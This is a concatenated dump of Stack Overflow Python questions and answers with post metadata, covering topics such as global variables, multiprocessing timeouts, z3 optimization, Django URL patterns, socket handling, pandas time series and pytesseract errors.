<p>How can I modify a global variable in the main function? I set a global variable <code>ADDITION</code> and modify it in a function. Then, I try to modify it in <code>main</code>, but it seems like I failed.</p> <pre><code>ADDITION = 0 def add(a, b): global ADDITION ADDITION = ADDITION + 1 return a+b d...
0
2016-07-15T01:25:18Z
38,386,607
<p>In what way do you think your code isn't working? Perhaps try to simplify it first. This code behaves as expected:</p> <pre><code>ADDITION = 0 def modify(): global ADDITION ADDITION = ADDITION + 1 def main(): global ADDITION print("Initial value: {}".format(ADDITION)) modify() print("Subse...
0
2016-07-15T01:34:35Z
[ "python", "python-3.x", "global-variables" ]
Change the value of Global Variable in Python3
38,386,547
<p>How can I modify a global variable in the main function? I set a global variable <code>ADDITION</code> and modify it in a function. Then, I try to modify it in <code>main</code>, but it seems like I failed.</p> <pre><code>ADDITION = 0 def add(a, b): global ADDITION ADDITION = ADDITION + 1 return a+b d...
0
2016-07-15T01:25:18Z
38,388,122
<p>You have a spelling error in <code>main()</code>:</p> <pre><code> ADDITIION = 0 </code></pre> <p>should be</p> <pre><code> ADDITION = 0 </code></pre>
2
2016-07-15T04:56:46Z
[ "python", "python-3.x", "global-variables" ]
Which Python multiprocessing inputs resulted in a timeout?
38,386,565
<p>I'm trying to understand <code>multiprocessing</code> in Python with timeouts.</p> <pre><code>import multiprocessing import time import random def do_something(i): x = random.randint(1, 3) time.sleep(x) return (i, x) pool = multiprocessing.Pool(processes=4) results = pool.imap_unordered(do_somethi...
0
2016-07-15T01:27:19Z
38,386,829
<p>I don't really understand the first question. When <code>TimeoutError</code> is raised, <em>no</em> remaining work item finished in time - but that's obvious ;-)</p> <p>About "it seems the result is printed even if the task times out": The tasks <em>never</em> time out - it's only waiting for a result that can ti...
3
2016-07-15T02:07:08Z
[ "python", "python-2.7", "multiprocessing" ]
z3opt python -- minimizing square
38,386,570
<p>I was considering using z3 to minimize problems involving squares. But when I write this simple example (z3opt in python 3) : </p> <pre><code>from z3 import * a = Real('a') b = Real('b') cost = Real('cost') opt = Optimize() opt.add(a + b == 3) opt.add(And(a &gt;= 0, a &lt;= 10)) opt.add(And(b &gt;= 0, b &lt;= 10...
1
2016-07-15T01:28:10Z
38,390,995
<p>Both <a href="https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/nbjorner-nuz.pdf" rel="nofollow">νZ - An Optimizing SMT Solver</a> and <a href="https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/nbjorner-scss2014.pdf" rel="nofollow">νZ - Maximal Satisfaction with Z3</a> explicitl...
2
2016-07-15T08:05:56Z
[ "python", "z3", "z3py" ]
How to know what is being written in Python during import module?
38,386,594
<p>It is very strange on one of my Ubuntu when I import modules, for one module the pandas, it will take random time (from 0.9 to 160s ) to completed. <a href="http://i.stack.imgur.com/u7anT.png" rel="nofollow"><img src="http://i.stack.imgur.com/u7anT.png" alt="Import pandas in 161s"></a></p> <p>I am not sure what ca...
0
2016-07-15T01:32:30Z
38,386,625
<p>Use <code>strace</code> to trace system calls.</p> <pre><code>$ strace -ttt -feopen,write -o log python -c 'open("foo", "w").write("blah")' $ cat log ... 122157 1468546777.800508 open("foo", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 122157 1468546777.800733 write(3, "blah", 4) = 4 122157 1468546777.804145 +++ exited with...
1
2016-07-15T01:37:40Z
[ "python", "pandas", "cuda", "theano", "keras" ]
write out the whole list of inputs in a class for model prediction
38,386,694
<p>I have the following code, a very simple model applying sklearn in python based on BaseEstimator and ClassifierMixin. It aims to report the prediction score (y) of a city(X). Here, as a simple model, I only hope it to report the mean score of a city as its prediction value whenever the city is called. </p> <pre...
0
2016-07-15T01:47:05Z
38,386,765
<p>I think maybe you want to have </p> <pre><code>self.mean_ = self.df.groupby(['X']).mean() </code></pre> <p>instead of </p> <pre><code>self.mean_ = self.df.groupby(['X'].mean()) </code></pre> <p>and</p> <pre><code>return self.mean_.ix[X].values </code></pre> <p>instead of </p> <pre><code>return self.df['y']['X...
1
2016-07-15T01:57:38Z
[ "python", "machine-learning", "scikit-learn" ]
how to resolve error "error compiling Cython file" error?
38,386,722
<p>I'm trying to follow this <a href="http://docs.cython.org/src/tutorial/cython_tutorial.html" rel="nofollow">basic cython tutorial</a>. In my directory I've <br>--> __ init__.py<br>-->hello.pyx<br>-->setup.py</p> <p>Iniside hello.pyx-<br></p> <pre><code>print "Hello World" </code></pre> <p>Inside setup.py <br></p...
0
2016-07-15T01:51:12Z
39,893,913
<p>Try removing <code>__init__.py</code> from that directory. For some reason, it confuses cython when trying compilation.</p> <p>You can also consider using pyximport extension, like: <code>import pyximport; pyximport.install()</code>, and then <code>import your_module</code>(as if it was a normal .py) if you just wi...
0
2016-10-06T10:44:25Z
[ "python", "cython" ]
python - Value error : I/O operation on closed file
38,386,725
<p>I am very new to Python.</p> <p>I am creating a script that I can run that will process an XLSX file and convert it into a pipe "|" delimited csv. Thankfully, I've figured this piece out. However, I am trying to add an extra step - I'd like the same script to remove any commas in my file. I thought I had it, howeve...
2
2016-07-15T01:51:32Z
38,386,750
<p>That's exactly it. (Basically you were closing the files on your first pass through the <code>for</code> iteration.) Try this alteration:</p> <pre><code>input_file = open('your_csv2.csv', 'r') output_file = open('No_Commas.csv', 'w') for line in input_file: line = line.replace(",", " ") output_file.write(li...
2
2016-07-15T01:55:37Z
[ "python", "csv", "pandas" ]
python object member variable missing
38,386,730
<p>I have a constructor which creates a member object of a sub-class:</p> <pre><code>class OpenSprinkler: class CV: my_args = ['rsn', 'rbt', 'en', 'rd', 're'] my_longhand = {'reset_all':'rsn', 'reboot':'rbt', 'enable':'en', 'rain_delay':'rd', ...
1
2016-07-15T01:52:22Z
38,386,849
<p>Is it possible that you have an <code>openSprinkler</code> object somewhere else in the code that's being called? Instantiating <code>OpenSprinkler</code> directly seems to contain your methods:</p> <pre><code>c = OpenSprinkler('foo','bar') print(dir(c.cv)) # ['__class__', '__delattr__', '__dict__', '__dir__', # ...
0
2016-07-15T02:10:20Z
[ "python", "setattr" ]
Run Python script on Linux kernel namespace
38,386,743
<p>I have entered a difficult question with Python running on Linux. When I want to run a python script on a Linux kernel namespace, I can do "sudo ip netns exec mynamespace python myscript.py". If I run myscript.py directly, how can I do the same approach?</p>
0
2016-07-15T01:54:46Z
38,402,488
<pre><code>#!/usr/bin/env python # Rest of your script </code></pre> <p>That should do it.</p>
0
2016-07-15T17:59:39Z
[ "python", "linux-kernel", "namespaces" ]
Template URL renders parameters in wrong order and it creates NoReverseMatch error. Why it is happening?
38,386,787
<p>I am getting NoReverseMatch</p> <pre><code>&gt; Reverse for 'production_order_new' with arguments '()' and keyword arguments '{u'quantity': Decimal('444.000'), u'uri': &gt; 'http://127.0.0.1:8000/production/soproduct/list/', u'pk_bom': 2, &gt; u'pk_soproduct': 1}' not found. 1 pattern(s) tried: &gt; ['producti...
1
2016-07-15T02:00:58Z
38,387,650
<p>The url should be corrected as:</p> <pre><code>url(r'^production/order/new/(?P&lt;pk_bom&gt;\d+)/(?P&lt;pk_soproduct&gt;\d+)/(?P&lt;uri&gt;\S+)/(?P&lt;quantity&gt;\d+(\.\d{1,3}))/$', views.Production_order_new, name="production_order_new"), </code></pre>
1
2016-07-15T04:00:01Z
[ "python", "django" ]
How to fillna/missing values for an irregular timeseries for a Drug when Half-life is known
38,386,835
<p>I have a dataframe (df) where column A is drug units that is dosed at time point given by Timestamp. I want to fill the missing values (NaN) with the drug concentration given the half-life of the drug (180mins). I am struggling with the code in pandas . Would really appreciate help and insight. Thanks in advance...
2
2016-07-15T02:07:38Z
38,389,005
<p>Your timestamps are not sorted and I'm assuming this was a typo. I fixed it below.</p> <pre><code>import pandas as pd import numpy as np from StringIO import StringIO text = """TimeStamp A 1991-04-21 09:09:00 9.0 1991-04-21 13:00:00 NaN 1991-04-21 19:00:00 NaN 1...
3
2016-07-15T06:13:31Z
[ "python", "pandas", "time-series", "fill" ]
Will TCP Socket Server client connection fd cause memory leak?
38,386,870
<p>I don't if i need to close the client socket handle( conn ) such as "conn.close()" ?</p> <p>If I run multithread to handler the client socket fd ( conn ). Does it cause memory leak if the server runs too long time?</p> <p>Will the server not close the client socket fd if client no invokes conn.close()?</p> <p>Fol...
0
2016-07-15T02:13:18Z
38,387,000
<p>According to the <a href="https://docs.python.org/2/library/socket.html?highlight=socket#socket.socket.close" rel="nofollow">document</a>, <code>close</code> is called when the socket is garbage collected. So if you didn't close it for whatever reason, your program would probably be fine. Provided your socket object...
2
2016-07-15T02:31:06Z
[ "python", "sockets", "tcp", "serversocket" ]
Will TCP Socket Server client connection fd cause memory leak?
38,386,870
<p>I don't if i need to close the client socket handle( conn ) such as "conn.close()" ?</p> <p>If I run multithread to handler the client socket fd ( conn ). Does it cause memory leak if the server runs too long time?</p> <p>Will the server not close the client socket fd if client no invokes conn.close()?</p> <p>Fol...
0
2016-07-15T02:13:18Z
38,388,200
<p>One way to find out is to test it and see! Here is a little Python script that I ran on my Mac (OS X 10.11.5). If I un-comment the holdSockets.append() line, this script errors out ("socket.error: Too many open files") after creating 253 sockets. However, if I leave the holdSockets.append() line commented out, so...
1
2016-07-15T05:04:59Z
[ "python", "sockets", "tcp", "serversocket" ]
Code Academy, Conditionals and Control Flow Grand Finale
38,386,933
<p>I'm using Code Academy and I began with Python. For the "Grand Finale" of Conditionals and Control Flow and this is the problem:</p> <blockquote> <p>"Write an if statement in the_flying_circus(). It must include:</p> </blockquote> <pre><code>if, elif, and else statements; At least one of and, or, or not; A compa...
0
2016-07-15T02:21:53Z
38,387,039
<p>In all languages a condition is some expression that can evaluate to a boolean expression i.e 1&lt;2 or anything else so lets take a look at the following code</p> <pre><code>def the_flying_circus(): x = True if True and x: print "x is true" if 2 &lt; 1: print "The universe is ending" ...
0
2016-07-15T02:36:26Z
[ "python", "conditional" ]
Code Academy, Conditionals and Control Flow Grand Finale
38,386,933
<p>I'm using Code Academy and I began with Python. For the "Grand Finale" of Conditionals and Control Flow and this is the problem:</p> <blockquote> <p>"Write an if statement in the_flying_circus(). It must include:</p> </blockquote> <pre><code>if, elif, and else statements; At least one of and, or, or not; A compa...
0
2016-07-15T02:21:53Z
38,387,053
<p>Something like </p> <pre><code>def the_flying_circus(): if 1&gt;2 or 2==3: return False elif 4&lt;3: return False else: return True </code></pre> <p>You are defining the_flying_circus as a function. It uses > == and &lt; as comparators. It has if, elif, and else. It returns Tr...
0
2016-07-15T02:38:35Z
[ "python", "conditional" ]
Return statements acting weird in "if" statements in Python
38,386,936
<p>My question is regarding this <strong>statement</strong> I read online that went something along the lines of "lines that follow the 'if statement' and are at the same indentation as the "if statement" will always run, regardless whether the 'if statement' is true or false." I'll show that using my examples below.</...
0
2016-07-15T02:22:22Z
38,386,958
<blockquote> <p>My confusion: Shouldn't the 4th line of code in this second example, "return "the second number is bigger"", always run because it's at the same indentation level of the "if statement," just like we saw in example #1?</p> </blockquote> <p>This is because the function execution breaks when you h...
0
2016-07-15T02:25:57Z
[ "python", "if-statement", "return" ]
Return statements acting weird in "if" statements in Python
38,386,936
<p>My question is regarding this <strong>statement</strong> I read online that went something along the lines of "lines that follow the 'if statement' and are at the same indentation as the "if statement" will always run, regardless whether the 'if statement' is true or false." I'll show that using my examples below.</...
0
2016-07-15T02:22:22Z
38,386,961
<p>You might want to read a little a bit about function and what return means. Very briefly, if a return statement is executed the function goes out of scope and will not run anything after it.</p>
0
2016-07-15T02:26:31Z
[ "python", "if-statement", "return" ]
Return statements acting weird in "if" statements in Python
38,386,936
<p>My question is regarding this <strong>statement</strong> I read online that went something along the lines of "lines that follow the 'if statement' and are at the same indentation as the "if statement" will always run, regardless whether the 'if statement' is true or false." I'll show that using my examples below.</...
0
2016-07-15T02:22:22Z
38,386,979
<p>In the first example, first it compares two values <code>9</code> and <code>7</code>, then x = <code>the first number is bigger</code>, then it assigns <code>x= the second number is bigger</code> and return <code>x</code>. It is why you see this line.</p> <p>In second example, it also compare two values, but it ret...
0
2016-07-15T02:28:04Z
[ "python", "if-statement", "return" ]
Return statements acting weird in "if" statements in Python
38,386,936
<p>My question is regarding this <strong>statement</strong> I read online that went something along the lines of "lines that follow the 'if statement' and are at the same indentation as the "if statement" will always run, regardless whether the 'if statement' is true or false." I'll show that using my examples below.</...
0
2016-07-15T02:22:22Z
38,387,588
<p>I think the "statement that you read" was a bit too simplistic. It is correct only if nothing changes Python's normal control flow during the <code>if</code> statement or the following indented block. It doesn't apply if the control flow is changed, which is exactly what you're doing in your second example. A <code>...
0
2016-07-15T03:51:00Z
[ "python", "if-statement", "return" ]
need to get highest combination
38,386,987
<p>I have a list of lists and I need to find the highest combination of values given some constraints:</p> <p>for example let's say I have:</p> <pre><code>lst1 = [['a', 1, 100], ['b', 2, 200], ['c', 1.5, 300]] lst2 = [['d', 1, 100], ['e', 2, 200], ['f', 1.5, 300]] lst3 = [['g', 5, 100], ['h', 9, 200], ['i', 11, 500]]...
1
2016-07-15T02:28:53Z
38,387,145
<p>I can think of more <em>efficient</em> mechanisms than what you're doing (e.g. pruning when the total already exceeds 400), but I can't think of ways to make the code much clearer. Here's a short working version in case that helps:</p> <pre><code>from itertools import product def find_best(lists): return max( ...
1
2016-07-15T02:49:46Z
[ "python", "combinations" ]
Python - Store object as datetime before while loop
38,386,990
<p>I'd like to use a while loop get the time difference between the current row and the previous row in a pandas data frame. To provide some context, here is my sample code:</p> <pre><code>counter = len(data)-1 last = pd.to_datetime(data['time'], infer_datetime_format=True) current = last while((last-current).seconds(...
0
2016-07-15T02:29:11Z
38,387,333
<p>I believe this is what you need:</p> <pre><code>data['time'].diff() </code></pre> <p>Here's the output:</p> <pre><code>0 NaT 1 00:00:20 2 00:00:20 3 00:00:20 4 -1 days +23:58:00 5 00:02:20 6 00:00:20 7 00:00:40 8 00:04:...
1
2016-07-15T03:16:39Z
[ "python", "datetime", "pandas", "while-loop" ]
Python: Mutated List values upon index() call?
38,387,002
<p>I have a dictionary of lists, a list of lists, and a dictionary framework. Every key in <code>p</code> does not contain the same number of lists, nor in the same order. I want to standardize the dictionary in <code>q</code>. In order to initially populate <code>q</code>:</p> <pre><code>p = {'GET25' : [['20151231...
0
2016-07-15T02:31:19Z
38,387,096
<p>When you do <code>q[key] = ol2</code> in the loop, you set all keys to the same value, namely <code>ol2</code>. Not copies of <code>ol2</code>. They are all the same list. So when you modify <code>q[key]</code> later, you modify all the values (as well as <code>ol2</code>).</p> <p>If you want to set each value t...
1
2016-07-15T02:43:07Z
[ "python", "list", "dictionary", "indexing" ]
Pandas DataFrame update one column using another column
38,387,062
<p>I have a two-column DataFrame <code>df</code>, its columns are <code>phone</code> and <code>label</code>, which <code>label</code> can only be 0 or 1.<br> Here is an example: </p> <pre><code>phone label a 0 b 1 a 1 a 0 c 0 b 0 </code></pre> <p>What I want t...
1
2016-07-15T02:39:46Z
38,387,107
<p>You can filter and group data in pandas. For your case it would look </p> <p>assume data is </p> <pre><code> phone label 0 a 0 1 b 1 2 a 1 3 a 1 4 c 1 5 d 1 6 a 0 7 c 0 8 b 0 df.groupby(['phone','label'])['label'].count() phone la...
0
2016-07-15T02:44:18Z
[ "python", "pandas", "dataframe", "group-by" ]
Pandas DataFrame update one column using another column
38,387,062
<p>I have a two-column DataFrame <code>df</code>, its columns are <code>phone</code> and <code>label</code>, which <code>label</code> can only be 0 or 1.<br> Here is an example: </p> <pre><code>phone label a 0 b 1 a 1 a 0 c 0 b 0 </code></pre> <p>What I want t...
1
2016-07-15T02:39:46Z
38,389,966
<p>taking into account that the <code>label</code> column can only have <code>0</code> or <code>1</code>, you can use <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.core.groupby.GroupBy.transform.html" rel="nofollow">.trasnform('sum')</a> method:</p> <pre><code>In [4]: df.label = df.groupby('ph...
1
2016-07-15T07:11:51Z
[ "python", "pandas", "dataframe", "group-by" ]
having trouble to write corresponding code using sklearn with respect to graphlab create mainly unable to plot properly
38,387,276
<p>Finding very much trouble to plot a graph for crimerate vs houseprice. with graphlab lib it is easy to do but using sklearn i am unable to do it. here is my code w.r.t sklearn</p> <pre><code>import sklearn import sframe from sframe import SFrame import pandas as pd # #Load some house value vs. crime rate data # ...
1
2016-07-15T03:07:28Z
38,941,231
<p>plt.plot(X['CrimeRate'],X['HousePrice'],'.', X['CrimeRate'],crime_model.predict(X),'-')</p> <p>I made a mistake above i am suppose to give input as X['CrimeRate'] for predict but i have given (X) so i replaced with X['CrimeRate'] and now it is working properly.</p> <p>Proper one is </p> <pre><code>plt.plot(X[...
0
2016-08-14T10:17:37Z
[ "python", "scikit-learn", "graphlab", "sklearn-pandas" ]
Using selectionChanged signal from QGraphicsScene to addRect around selected items
38,387,300
<p>I am trying to draw a rect around the items that are selected in the scene (either via RubberBandDrag or ctrl+click for each item). </p> <p>In order to do this I've subclassed QGraphicsScene and reimplemented the <code>selectionChanged</code> method to add a QGraphicsRectItem around the selected area, but for some ...
0
2016-07-15T03:11:41Z
38,391,658
<p><code>selectionChanged</code> is a signal, not a method that you have to implement. What you need to do is to connect this signal to slot and your the implementation in the slot, so whenever the signal is emitted, your code gets executed:</p> <pre><code>from PyQt4.QtGui import * from PyQt4.QtCore import * import sy...
1
2016-07-15T08:41:48Z
[ "python", "qt", "pyqt", "qgraphicsscene", "selectionchanged" ]
Extract date string from (more) complex string (possibly a regex match)
38,387,310
<p>I have a string template that looks like <code>'my_index-{year}'</code>. <br/> I do something like <code>string_template.format(year=year)</code> where year is some string. Result of this is some string that looks like <code>my_index-2011</code>. </p> <p>Now. to my question. I have a string like <code>my_index-20...
2
2016-07-15T03:13:17Z
38,387,382
<p>Use the <code>split()</code> string function to split the string into two parts around the dash, then grab just the second part.</p> <pre><code>mystring = "my_index-2011" year = mystring.split("-")[1] </code></pre>
2
2016-07-15T03:22:58Z
[ "python", "regex", "string" ]
Extract date string from (more) complex string (possibly a regex match)
38,387,310
<p>I have a string template that looks like <code>'my_index-{year}'</code>. <br/> I do something like <code>string_template.format(year=year)</code> where year is some string. Result of this is some string that looks like <code>my_index-2011</code>. </p> <p>Now. to my question. I have a string like <code>my_index-20...
2
2016-07-15T03:13:17Z
38,387,439
<p>I assume "year" is 4 digits and you have multiple indexes </p> <pre><code>import re res = '' patterns = [ '%s-[0-9]{4}'%index for index in idx ] for index,pattern in zip(idx,patterns): res +=' '.join( re.findall(pattern ,data) ).replace(index+'-','') + ' ' </code></pre> <p>---update---</p> <pre><code>dummySt...
2
2016-07-15T03:32:30Z
[ "python", "regex", "string" ]
Extract date string from (more) complex string (possibly a regex match)
38,387,310
<p>I have a string template that looks like <code>'my_index-{year}'</code>. <br/> I do something like <code>string_template.format(year=year)</code> where year is some string. Result of this is some string that looks like <code>my_index-2011</code>. </p> <p>Now. to my question. I have a string like <code>my_index-20...
2
2016-07-15T03:13:17Z
38,387,441
<p>Yes, a regex would be helpful here. </p> <pre><code>In [1]: import re In [2]: s = 'my_string-2014' In [3]: print( re.search('\d{4}', s).group(0) ) 2014 </code></pre> <p>Edit: I should have mentioned your regex can be more sophisticated. You can haul out a subcomponent of a more specific string, for example:</p> ...
2
2016-07-15T03:32:42Z
[ "python", "regex", "string" ]
Extract date string from (more) complex string (possibly a regex match)
38,387,310
<p>I have a string template that looks like <code>'my_index-{year}'</code>. <br/> I do something like <code>string_template.format(year=year)</code> where year is some string. Result of this is some string that looks like <code>my_index-2011</code>. </p> <p>Now. to my question. I have a string like <code>my_index-20...
2
2016-07-15T03:13:17Z
38,387,447
<p>You are going to want to use the <a href="https://docs.python.org/3/library/stdtypes.html#str.split" rel="nofollow">string method <code>split</code></a> to split on "-", and then catch the last element as your year:</p> <pre><code>year = "any_index-2016".split("-")[-1] </code></pre> <p>Because you caught the last ...
0
2016-07-15T03:33:40Z
[ "python", "regex", "string" ]
Extract date string from (more) complex string (possibly a regex match)
38,387,310
<p>I have a string template that looks like <code>'my_index-{year}'</code>. <br/> I do something like <code>string_template.format(year=year)</code> where year is some string. Result of this is some string that looks like <code>my_index-2011</code>. </p> <p>Now. to my question. I have a string like <code>my_index-20...
2
2016-07-15T03:13:17Z
38,387,645
<p>There is this module called <a href="https://pypi.python.org/pypi/parse" rel="nofollow"><code>parse</code></a> which provides an opposite to <code>format()</code> functionality:</p> <blockquote> <p>Parse strings using a specification based on the Python format() syntax.</p> </blockquote> <pre><code>&gt;&gt;&gt; ...
2
2016-07-15T03:59:20Z
[ "python", "regex", "string" ]
Import a text file and export a 3D image
38,387,352
<p>What I need to do is load a txt file and make a 3D matrix for imaging.</p> <p>With the code below, I'm receiving an error when the text file is a big file with lots of data.</p> <pre class="lang-python prettyprint-override"><code># Load a .txt data output from tomoview into a volume import numpy as np from tifffi...
0
2016-07-15T03:18:59Z
38,387,612
<p>It seems like your value for i is too big for the reshape that you are doing.</p> <p>P.S. Numpy's <a href="http://docs.scipy.org/doc/numpy/reference/generated/numpy.loadtxt.html" rel="nofollow">loadtxt</a> will take care a lot of this work for you. You can specify the number of header rows to skip.</p> <pre><code...
0
2016-07-15T03:54:22Z
[ "python", "numpy", "plot", "3d" ]
Cython/numpy vs pure numpy for least square fitting
38,387,393
<p>A T.A at school showed me this code as an example of a least square fitting algorithm.</p> <pre><code>import numpy as np #return the coefficients (a0,..aN) of the fit y=a0+a1*x+..an*x^n #with associated sigma dy #x,y,dy are all np.arrays with dtype= np.float64 def fit_poly(x,y,dy,n): V = np.asmatrix(np.diag(dy**2...
1
2016-07-15T03:24:27Z
38,387,598
<p>Except for <code>[x**k for k in range(n+1)]</code> I don't see any iterations for <code>cython</code> to improve. Most of the action is in matrix products. Those are already done with compiled code (with <code>np.dot</code> for <code>ndarrays</code>).</p> <p>And <code>n</code> is only 4, not many iterations.</p> ...
2
2016-07-15T03:52:11Z
[ "python", "numpy", "cython", "least-squares" ]
How to implement a async grpc python server?
38,387,443
<p>I need to call a celery task for each GRPC request, and return the result. In default GRPC implementation, each request is processed in a separate thread from a threadpool.</p> <p>In my case, the server is supposed to process ~400 requests in batch mode per second. So one request may have to wait 1 second for the r...
2
2016-07-15T03:32:59Z
38,884,426
<p>It can be done asynchronously if your call to <code>res.get</code> can be done asynchronously (if it is defined with the <code>async</code> keyword).</p> <p><a href="https://github.com/grpc/grpc/issues/7632" rel="nofollow">While <code>grpc.server</code> says it requires a <code>futures.ThreadPoolExecutor</code>, it...
0
2016-08-10T22:13:52Z
[ "python", "grpc" ]
generate numbers before an event
38,387,475
<p>I would like to generate numbers in a new column that lead to occurrence of an event in another column. What might be the most straight forward way to do this using either R or python?</p> <p>current data:</p> <pre><code>var1 var2 event 0.658 72.193 0 0.641 70.217 0 0.641 40.173 0 0.652 52.687 0 ...
0
2016-07-15T03:37:21Z
38,387,523
<p>Using <code>R</code>, we can try with <code>data.table</code>. We create a grouping variable (<code>cumsum(event == 1)</code>), based on that get the reverse sequence, multiply with <code>-1</code> and assign (<code>:=</code>) it to 'event_lead'. Then, we multiply that output with the logical vector (<code>!event<...
2
2016-07-15T03:42:48Z
[ "python" ]
Python 2.7 PyTesseract AttributeError: 'PixelAccess' object has no attribute 'split'
38,387,489
<pre><code>Traceback (most recent call last): File "C:\Python27\Stuff\imagetotext.py", line 9, in &lt;module&gt; i = pytesseract.image_to_string(img) File "C:\Python27\lib\site-packages\pytesseract\pytesseract.py", line 143, in image_to_string if len(image.split()) == 4: AttributeError: 'PixelAccess' object...
0
2016-07-15T03:38:47Z
38,387,802
<pre><code>try: import Image except ImportError: from PIL import Image import pytesseract img = Image.open('test.bmp') img.load() i = pytesseract.image_to_string(img) print i </code></pre>
0
2016-07-15T04:19:36Z
[ "python", "ocr", "pytesser" ]
File Open Fails When W+ Argument Used
38,387,497
<p>I have...</p> <pre><code>datadir = os.path.dirname(__file__) + '/../some/place' session_file = '/user_session.json' with open(datadir + session_file, 'r') as data_file: data = json.load(data_file) print data </code></pre> <p>And this works as expected. I can load the json in my json file and access it...
0
2016-07-15T03:39:14Z
38,387,600
<p>try to test whether the file is there</p> <pre><code>import os.path import os datadir = os.path.dirname(__file__) + '/../some/place' session_file = '/user_session.json' path = datadir + session_file if os.path.exists(path ): open(path, 'w+').close() with open( path , 'r') as data_file: data = json.loa...
0
2016-07-15T03:52:28Z
[ "python" ]
File Open Fails When W+ Argument Used
38,387,497
<p>I have...</p> <pre><code>datadir = os.path.dirname(__file__) + '/../some/place' session_file = '/user_session.json' with open(datadir + session_file, 'r') as data_file: data = json.load(data_file) print data </code></pre> <p>And this works as expected. I can load the json in my json file and access it...
0
2016-07-15T03:39:14Z
38,387,669
<p>You want to check if the file exists and react accordingly:</p> <pre><code>import json import os.path datadir = os.path.dirname(__file__) session_file = 'user_session.json' path = os.path.join(datadir, '..', 'some', 'place', session_file) # If the file exists, read the data. if os.path.exists(path): with open...
0
2016-07-15T04:02:36Z
[ "python" ]
How to iterate over Pandas Series generated from groupby().size()
38,387,529
<p>How do you iterate over a Pandas Series generated from a <code>.groupby('...').size()</code> command and get both the group name and count.</p> <p>As an example if I have:</p> <pre><code>foo -1 7 0 85 1 14 2 5 </code></pre> <p>how can I loop over them so the that each iteration I would have -1 &a...
1
2016-07-15T03:43:33Z
38,387,640
<p>You can call <code>iteritems()</code> method on the Series:</p> <pre><code>for i, row in df.groupby('a').size().iteritems(): print(i, row) # 12 4 # 14 2 </code></pre> <p>According to doc:</p> <blockquote> <p>Series.iteritems()</p> <p>Lazily iterate over (index, value) tuples</p> </blockquote> <p>Note...
2
2016-07-15T03:58:25Z
[ "python", "pandas" ]
What does `<-`, `>-`, `<+`, `>+` in python mean?
38,387,649
<p>I came across a post with these "conditional operators" (im not sure) using <code>&lt;-</code>, <code>&gt;-</code>, <code>&lt;+</code>, <code>&gt;+</code> I have never seen this before, and I am really wondering what it does.</p> <pre><code>&gt;&gt;&gt; 1 &lt;- 2 False &gt;&gt;&gt; 1 &gt;- 2 True &gt;&gt;&gt; 1 &lt...
-1
2016-07-15T03:59:59Z
38,387,731
<p><a href="http://stackoverflow.com/questions/1642028/what-is-the-name-of-the-operator">Behold the confusion that arises due to silly spacing.</a></p> <p>Compilers and interpreters tend to ignore whitespaces while parsing/interpreting instructions. You don't see code the same way a compiler/interpreter does. </p> <p...
3
2016-07-15T04:09:40Z
[ "python" ]
What does `<-`, `>-`, `<+`, `>+` in python mean?
38,387,649
<p>I came across a post with these "conditional operators" (im not sure) using <code>&lt;-</code>, <code>&gt;-</code>, <code>&lt;+</code>, <code>&gt;+</code> I have never seen this before, and I am really wondering what it does.</p> <pre><code>&gt;&gt;&gt; 1 &lt;- 2 False &gt;&gt;&gt; 1 &gt;- 2 True &gt;&gt;&gt; 1 &lt...
-1
2016-07-15T03:59:59Z
38,387,732
<p>When you mention <code>1 &lt;- 2</code> in your sample code, it is actually checking the condition <code>1 &lt; -2</code> which returns <code>False</code>. Thus, of course, unfortunately you are not correct.<br> You must have been studying compound operators too much.</p>
0
2016-07-15T04:09:53Z
[ "python" ]
Adding 1 to Value in Dictionary
38,387,671
<p>I have seen others ways of adding 1 to a value in a dictionary. I simply keep getting an error when I try to add a value of 1 to a dictionary key value in python.</p> <p>Here is my code:</p> <pre><code>arr = {('1', '20'): [0], ('15', '14'): [0]} </code></pre> <p>I want to add 1 to key ('1', '20'). </p> <p>Here ...
-1
2016-07-15T04:02:45Z
38,387,693
<p>Two issues:</p> <ol> <li>The keys of your dictionary are tuples of strings, but you're trying to index into the dictionary using a tuple of ints.</li> <li>The values in your dictionary are (1-length) lists of ints, but you're trying to add a number to one of those lists.</li> </ol> <p>You might want something like...
3
2016-07-15T04:05:46Z
[ "python", "dictionary", "key", "add", "value" ]
While Mac OSX has the say command to speak, or so to say, is there any command that is similar for Python?
38,387,676
<p>While Mac OSX 10.11.5 (El Capitan) has the "say" command to speak in a system generated voice, or so to say, is there any command that is similar for Python that can be used in Python? If Subprocess is utilized, please explain on how to use that.</p>
0
2016-07-15T04:03:38Z
38,387,705
<p>You can use subprocess as follows:</p> <pre><code>import subprocess my_message = "hello there" subprocess.call(["say", my_message]) </code></pre>
1
2016-07-15T04:07:04Z
[ "python", "osx", "subprocess", "osx-elcapitan" ]
While Mac OSX has the say command to speak, or so to say, is there any command that is similar for Python?
38,387,676
<p>While Mac OSX 10.11.5 (El Capitan) has the "say" command to speak in a system generated voice, or so to say, is there any command that is similar for Python that can be used in Python? If Subprocess is utilized, please explain on how to use that.</p>
0
2016-07-15T04:03:38Z
38,387,708
<p>PyTTSx package will help you with this. PyTTSx is a Python package supporting common text-to-speech engines on Mac OSX, Windows, and Linux.<br> <strong>Speaking text</strong><br></p> <pre><code>import pyttsx engine = pyttsx.init() engine.say('Sally sells seashells by the seashore.') engine.say('The quick brown fox ...
0
2016-07-15T04:07:19Z
[ "python", "osx", "subprocess", "osx-elcapitan" ]
While Mac OSX has the say command to speak, or so to say, is there any command that is similar for Python?
38,387,676
<p>While Mac OSX 10.11.5 (El Capitan) has the "say" command to speak in a system generated voice, or so to say, is there any command that is similar for Python that can be used in Python? If Subprocess is utilized, please explain on how to use that.</p>
0
2016-07-15T04:03:38Z
38,387,870
<p>Thank you everyone for the quick replies. I have been playing with the subprocess module, and I have gotten this to work:<code>import subprocess m=subprocess.Popen(["say","hello"]) print(m) </code> The .Popen command is also a quick way to get this to work. However, this is <em>only</em> working on my Mac and I need...
0
2016-07-15T04:28:16Z
[ "python", "osx", "subprocess", "osx-elcapitan" ]
grDevices holding file open
38,387,760
<p>I'm working on a proof of concept using rpy2 to tie an existing R package to a web service. I do have the source to the package, if that is needed to fix this issue. I'm also currently developing on Windows, but if this problem is solved by using Linux instead, that's fine, as that's my planned environment.</p> <p>...
1
2016-07-15T04:13:51Z
38,411,411
